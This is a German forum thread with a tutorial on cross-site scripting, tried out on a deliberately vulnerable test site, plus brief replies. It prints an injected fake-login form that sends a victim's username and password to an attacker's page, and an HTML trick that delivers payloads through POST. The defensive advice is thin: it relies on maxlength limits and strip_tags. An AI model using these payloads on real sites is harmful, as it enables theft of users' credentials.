1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[TUT] XSS (cross side scripting) und wie man sich davor schützt

Discussion in 'Tutorials' started by TheLittleMagnus, Sep 9, 2013.

Thread Status:
Not open for further replies.
  1. TheLittleMagnus

    TheLittleMagnus New Member

    Joined:
    Sep 9, 2013
    Messages:
    12
    Likes Received:
    0
    NUR ZU INFORMATIONSZWECKEN


    Inhalt:
    1. was ist XSS
    2. XSS mit get
    3. XSS mit post
    4. XSS verhindern


    1.

    XSS bedeutet cross site scripting es wird häufig verwendet um Passwörter herauszufinden.

    Dies macht man indem man auf seiten im Suchfenster HTML code eingibt, der dann bei kompiliert und angezeigt wird und man die url der suche dann an 3. weitergibt

    2.

    Es gibt eine seite auf der man dies (legal) ausprobieren kann:
    http://testasp.vulnweb.com/Search.asp

    als beispiel:
    person A möchte das passwort von person B von der seite "testasp.vulnweb.com" herausfinden
    also erstellt A einen passenden HTML code:
    PHP:
    <form action="seite-von-A.php" method="post">
    <
    p>
    Um zu dem Thread zu gelangen musst du eingeloggt sein:<br><br>
    Benutzername:<br>
    <
    input type="text" name="name" size="30"><br>
    Passwort:<br>
    <
    input type="password" name="pw" size="30">
    </
    p>
    <
    br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
    erläuterung:
    A erstellt eine form die auf seiner seite ausgewertet wird: 'action="seite-von-A.php" '
    in der form wird ein passwort und ein benutzername abgefragt, die auf der seite von A ausgewertet gespeichert un/oder per email versandt werden können
    zum schluss setzt er sehr viele zeilenumbrüche '<br>' damit der rest der seite nach unten rutscht

    diesen code gibt A dann bei http://testasp.vulnweb.com/Search.asp ein und kopiert die dadurch resultierende URL
    diese gibt er dann B der auf die seite geht sein passwort eingibt welches dann an A weitergeleitet wird
    sieht dann so aus: http://bit.ly/15ReTUI
    und tadaaa schon hat A das passwort von B


    3.

    nun wisst ihr zwar wie man XSS bei forms mit get macht aber 90% aller seiten verwenden die post methode das heisst das das die formular daten im hintergrund weitergegeben werden
    um nun XSS über post zu verwenden müssen wir also einen link erstellen der eine post anfrage an die gewünschte seite sendet.
    da dies nicht möglich ist wenden wir einen kleinen trick an:
    wir erstellen ein HTML dokument das folgendermassen aussieht:
    PHP:
    <html>
    <
    body>
    <
    form action="seite-auf-der-man-XSS-anwenden-will.php" method="post>
    <input type="
    hidden" value="
    beliebiger HTML code
    beachte 
    " statt anführungszeichen zu verwenden!
    "
    >
    <
    input type="submit" value=" weiter ">
    dieses dokument laden wir auf einen beliebigen webspace hoch und können nun den link an beliebige personen verschicken
    man kann natürlich auch noch text hinzufügen wie "redirecting<br>wenn du nicht weitergeleitet wirst klicke bitte hier:<br>"


    4.
    zuguterletzt das wichtigste:
    wie verhindert man nun cross site scripting?
    es gibt eigentlich 2 möglichkeiten eine effektive und eine weniger effektive:

    -wenig effektiv:
    indem man einfach in die such form der seite ein maxlength einbaut:
    aber wie gross?
    die minimalste grösse die für XSS noch reicht sind 28 zeichen
    warum?
    kürzeste form:
    PHP:
    <iframe src="bit.ly/abcdef">
    also setzt man maxlength auf 27 und das hat sich

    - effektivere methode
    einfach die $_GET funktion im PHP-skript umschreiben:
    statt
    PHP:
    $search $_GET['search'];
    einfach:
    PHP:
    $search strip_tags($_GET['search']);
    und jeglicher html code wird entfernt


    bei fragen und anregungen PM oder drunterschreiben!

    PS XSS ist auch mit POST methode möglich
    dies habe ich hier aber weggelassen weil ich nicht weiss ob dieser post überhaupt gelesen wird
    wenn ihr dies auch gerne erklärt hättet schreibt es einfach drunter ;)
     
  2. AimBRoT

    AimBRoT Member

    Joined:
    Aug 1, 2012
    Messages:
    604
    Likes Received:
    0
    Habs mal schnell durchgelesen

    Ich hab das gefühl das ich den selben text schonmal wo gelesen hab aber ist ja egal

    Danke fürs Posten ( ich weiß ja einigermaßen wie sowas geht :p )
     
  3. Dr@ke

    [email protected] New Member

    Joined:
    Jul 10, 2012
    Messages:
    743
    Likes Received:
    2
    Was noch fehlt ist die Information dass sich XSS genauso im Useragent oder in Bildern verstecken kann ;)
     
  4. TheLittleMagnus

    TheLittleMagnus New Member

    Joined:
    Sep 9, 2013
    Messages:
    12
    Likes Received:
    0
    @AimBRot
    genau diesen text hast du sicher noch nirgends gesehen den hab ich grad selber geschrieben während ich mit yami und skyfail im TS war/bin



    @[email protected]
    jetz stehts ja da :D
     
  5. Dr@ke

    [email protected] New Member

    Joined:
    Jul 10, 2012
    Messages:
    743
    Likes Received:
    2
    Könntest stored und unstored noch erläutern :D
     
  6. TheLittleMagnus

    TheLittleMagnus New Member

    Joined:
    Sep 9, 2013
    Messages:
    12
    Likes Received:
    0
    @[email protected]

    naja wenn ich ehrlich bin wusste ich nicht so recht ob es nicht ärger gibt wenn ich erklär wie man das macht deswegen hab ich den schwerpunkt auf verhindern gelegt...
    und das geht ja überall gleich

    aber wie gesagt wenns bedarf auch von nicht-admins etc. gibt mach ich gerne n 2. teil
     
  7. hoschi111

    hoschi111 Administrator Staff Member Administrator

    Joined:
    Dec 19, 2017
    Messages:
    1,445
    Likes Received:
    0
    Wissen ist frei! Erweitere deine Erklärung gerne auch um kritische Inhalte. Wenn es fertig ist, wäre das auch was für den Lernblog.
     
  8. TheLittleMagnus

    TheLittleMagnus New Member

    Joined:
    Sep 9, 2013
    Messages:
    12
    Likes Received:
    0
    ok wird gemacht
     
  9. TheLittleMagnus

    TheLittleMagnus New Member

    Joined:
    Sep 9, 2013
    Messages:
    12
    Likes Received:
    0
    so ich denke ich hab alles wichtiges :)
    und ich glaub nicht dass sachen wie useragent irgendjemanden interresieren :|
     
  10. Dr@ke

    [email protected] New Member

    Joined:
    Jul 10, 2012
    Messages:
    743
    Likes Received:
    2
    Das Problem ist, dass fast alle Admins so denken :D
    Also dass man auf Useragenten keinen Wert legen muss...

    Und deswegen kann man auch sehr oft darüber befallen werden.
    Als Admin musst du alles abdecken, sonst bringt das ganze nichts ;)
     
  11. hoschi111

    hoschi111 Administrator Staff Member Administrator

    Joined:
    Dec 19, 2017
    Messages:
    1,445
    Likes Received:
    0
    Gibts noch mehr zu dem Thema? Würde das gerne aufm Lernblog publizieren.
     
  12. lowfry

    lowfry Administrator Staff Member Administrator

    Joined:
    Aug 3, 2012
    Messages:
    417
    Likes Received:
    2
    Habe ein nettes Cheatsheet ;)
     
Thread Status:
Not open for further replies.